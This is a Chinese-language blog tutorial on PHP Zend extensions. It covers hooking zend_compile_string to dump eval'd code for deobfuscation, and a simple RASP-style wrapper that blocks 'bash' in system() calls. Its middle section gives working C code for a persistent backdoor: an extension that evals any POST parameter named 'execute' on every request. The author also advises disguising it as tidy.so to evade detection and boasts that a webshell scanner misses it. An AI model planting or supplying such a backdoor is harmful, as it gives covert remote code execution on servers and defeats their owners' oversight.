PHP 类似于 python 也是运行在解释器上的, PHP 的叫 zend, python 的叫 cpython,
这些都是官方实现, 像 python 也有 jython, pypy 啥的, 用其他语言写的解释器.
两者有个非常相似的地方, 或者说动态语言都非常相似的地方, 是都存在一个万能基类,
python 的叫 PyObject
, php 的叫 zval
. python 的因为没看过, 不太了解, 在 PHP 中,
是靠 union 结构体来实现的
1typedef union _zend_value {
2 zend_long lval; /* long value */
3 double dval; /* double value */
4 zend_refcounted *counted;
5 zend_string *str;
6 zend_array *arr;
7 zend_object *obj;
8 zend_resource *res;
9 zend_reference *ref;
10 zend_ast_ref *ast;
11 zval *zv;
12 void *ptr;
13 zend_class_entry *ce;
14 zend_function *func;
15 struct {
16 uint32_t w1;
17 uint32_t w2;
18 } ww;
19} zend_value;
因为是 union, 其实这大小在 amd64 上其实就是 8 字节, C 语言这神奇的特性其实在某种形式上做到了多态.
一切对象都可以用 zval 来表达.
而 PHP 扩展, 就是可以直接干预这个 zend 虚拟机本身的执行, 比如加几个函数, 替换原来的函数之类的. zend 虚拟机会在启动时执行一系列函数,
加载扩展里面定义的各种函数, PHP_MINIT, PHP_RINIT, PHP_FUNCTION 等等.
环境准备
1git clone https://github.com/php/php-src.git -b php-7.3.7
2cd php-7.3.7
3./ext/ext_skel.php --ext extname
4./configure
就能自动生成一套模版, 毕竟是开源产品, 对开发者非常友好,
CLion 可以用以下 CMakelist 添加高亮, 方便开发.
1cmake_minimum_required(VERSION 3.3)
2project(backdoor)
3
4add_custom_target(makefile COMMAND make WORKING_DIRECTORY ${PROJECT_SOURCE_DIR})
5
6
7cmake_minimum_required(VERSION 3.6)
8project(backdoor C)
9
10message("Begin cmaking of PHP extension ...")
11
12# -std=gnu99
13set(CMAKE_C_STANDARD 99)
14set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -ggdb -O0 -Wall -std=gnu99 -fvisibility=hidden")
15set(ENV{PROJECT_ROOT} "${CMAKE_HOME_DIRECTORY}")
16
17# NOTE: This CMake file is just for syntax highlighting in CLion, 替换成你自己的路径
18include_directories(
19 ~/temp/php-src/
20 ~/temp/php-src/main
21 ~/temp/php-src/Zend
22 ~/temp/php-src/TSRM
23 ~/temp/php-src/ext
24 ~/temp/php-src/ext/standard
25 ~/temp/php-src/sapi
26)
27
28set(SOURCE_FILES
29 backdoor.c
30 php_backdoor.h
31 )
32
33if(EXISTS "$ENV{PROJECT_ROOT}/config.h")
34 set(SOURCE_FILES "${SOURCE_FILES};config.h")
35endif()
36
37add_library(backdoor ${SOURCE_FILES})
38
39message("End cmaking of PHP extension ...")
接下来学习一下扩展的几种利用方式
替换 zend_compile_string
这在 php-src/Zend/zend_compile.h:722
被定义, php-src/Zend/zend.c:835
被实现,
1zend_compile_string = compile_string;
定义的时候就是定义为函数指针, 可以说是这么故意设计的, 就是为了方便替换.
这个函数就是 zend engine 解析代码到 op code 的函数, 正如其名, 起到编译器的作用.
而 eval, include 等等, 都会调用这个函数, 因为都需要编译到 op code 才能真正被执行.
所以我们就能替换这个函数到自己定义的函数, 比如在 compile_string
的同时, 把
它输入的字符串, 也就是代码打印出来, 就能在某些时候起到解密的作用.
因为某些加密就是单纯各种变换最后 eval 一下而已, 本质原因是 PHP 本身就很灵活, 各种反射, 还有 $$var 这种东西,
如果替换变量名/函数名, 大概率会导致代码不可用. 所以很多加密其实通过替换 zend_compile_string 就可以完全解密.
了解了原理, 那么写起来不是很困难, 就是将 source_string 打印出来即可, 放在 RINIT
中, 每次请求都会重新替换一次.
1zend_op_array *dump_while_eval(zval *source_string, char *filename)
2{
3 php_printf("\n\nfilename: \n");
4 php_printf("%s", filename);
5 php_printf("\n\neval_code: \n");
6 php_printf("%s", Z_STRVAL_P(source_string));
7 php_printf("\n\nresult: \n");
8 return compile_string(source_string, filename);
9}
10
11/* {{{ PHP_RINIT_FUNCTION
12 */
13PHP_RINIT_FUNCTION(backdoor) {
14#if defined(ZTS) && defined(COMPILE_DL_BACKDOOR)
15 ZEND_TSRMLS_CACHE_UPDATE();
16#endif
17 // hook eval
18 zend_compile_string = dump_while_eval;
19 return SUCCESS;
20}
这时候 make && make install
一下, 在 ini 中开启扩展, php -a 一下, 就可以发现已经成功了, 因为 php -a 说到底也得
经过编译这个过程.
留后门
这个其实我感觉还是比较隐蔽的, 可以把原来的比如 ;extension=tidy
, tidy.so
, 换成自己的, 然后开启,
我估计很少有人会注意到, 查杀的话得检查 HASH 之类的, 说实话挺麻烦的, 毕竟每次更新这个 hash 都会变.
而留后门的话一般都是在 RINIT 中添加, 每次都检查 $_POST
上有没有自己留下的后门密码, 有的话执行一下,
相当于把 webshell 藏到扩展里面了.
当然也可以自己给添加一个 my_eval 函数之类的, D 盾 100% 查不出来 233
1PHP_FUNCTION(my_backdoor_eval) {
2 char* tmp;
3 size_t len;
4 ZEND_PARSE_PARAMETERS_START(1, 1)
5 Z_PARAM_STRING(tmp, len)
6 ZEND_PARSE_PARAMETERS_END();
7 zend_eval_string(tmp, NULL, (char *)"" TSRMLS_CC);
8 RETURN_TRUE
9}
10
11/* {{{ PHP_RINIT_FUNCTION
12 */
13PHP_RINIT_FUNCTION(backdoor) {
14#if defined(ZTS) && defined(COMPILE_DL_BACKDOOR)
15 ZEND_TSRMLS_CACHE_UPDATE();
16#endif
17 char *password = "execute";
18
19 zval * arr, *code = NULL;
20 if (arr = zend_hash_str_find(&EG(symbol_table), "_POST", sizeof("_POST") - 1)) {
21 if (Z_TYPE_P(arr) == IS_ARRAY &&
22 (code = zend_hash_str_find(Z_ARRVAL_P(arr), password, strlen(password)))) {
23 zend_eval_string(Z_STRVAL_P(code), NULL, "" TSRMLS_CC);
24 }
25 }
26 return SUCCESS;
27}
28
29/* {{{ arginfo
30 */
31ZEND_BEGIN_ARG_INFO(arginfo_my_backdoor_eval, 0)
32 ZEND_ARG_INFO(0, str)
33ZEND_END_ARG_INFO()
34/* }}} */
35
36/* {{{ backdoor_functions[]
37 */
38static const zend_function_entry backdoor_functions[] = {
39 PHP_FE(my_backdoor_eval, arginfo_my_backdoor_eval)
40 PHP_FE_END
41};
42/* }}} */
RASP
这个其实我感觉前途应该是最大的, 可以参考 https://github.com/laruence/taint,
毕竟是 PHP 的开发者, 真的 tql.
我参考之前的 php_apd, 通过替换函数表里面的函数也实现了一个, 当然肯定没有鸟哥直接劫持 op code 的操作牛逼,
劫持 op code 的执行可以拦截 eval, echo 之类的关键字, 而劫持函数表只能劫持函数, 相对更局限一些.
而且我的实现感觉 100% 有内存泄露 (逃
1PHP_RINIT_FUNCTION(backdoor) {
2#if defined(ZTS) && defined(COMPILE_DL_BACKDOOR)
3 ZEND_TSRMLS_CACHE_UPDATE();
4#endif
5 char* internal_func_name = "system"; // 内置函数名
6 char* new_internal_func_name = "__internal__"; // 新内置函数名
7
8 zend_internal_function *internal_func = zend_hash_str_find_ptr(EG(function_table), internal_func_name, strlen(internal_func_name));
9 zend_internal_function *copy_internal_func = malloc(sizeof(zend_internal_function));
10 memcpy(copy_internal_func, internal_func, sizeof(zend_internal_function));
11
12 zend_hash_str_add_ptr(EG(function_table), new_internal_func_name, strlen(new_internal_func_name), copy_internal_func);
13 zend_hash_str_del(EG(function_table), internal_func_name, strlen(internal_func_name));
14
15 char *replace_code = "function __temp__($a) {var_dump($a);if (preg_match('/bash/i', $a) === 0) {__internal__($a);} else {echo $a.' is banned';}};"; // 替换的函数代码
16
17 zend_eval_string(replace_code, NULL , "");
18 zend_op_array *replace_func = zend_hash_str_find_ptr(EG(function_table), "__temp__", strlen("__temp__"));
19
20 zend_hash_str_add_ptr(EG(function_table), internal_func_name, strlen(internal_func_name), replace_func);
21 *(replace_func->refcount) += 1;
22
23 zend_hash_str_del(EG(function_table), "__temp__", strlen("__temp__"));
24
25 return SUCCESS;
26}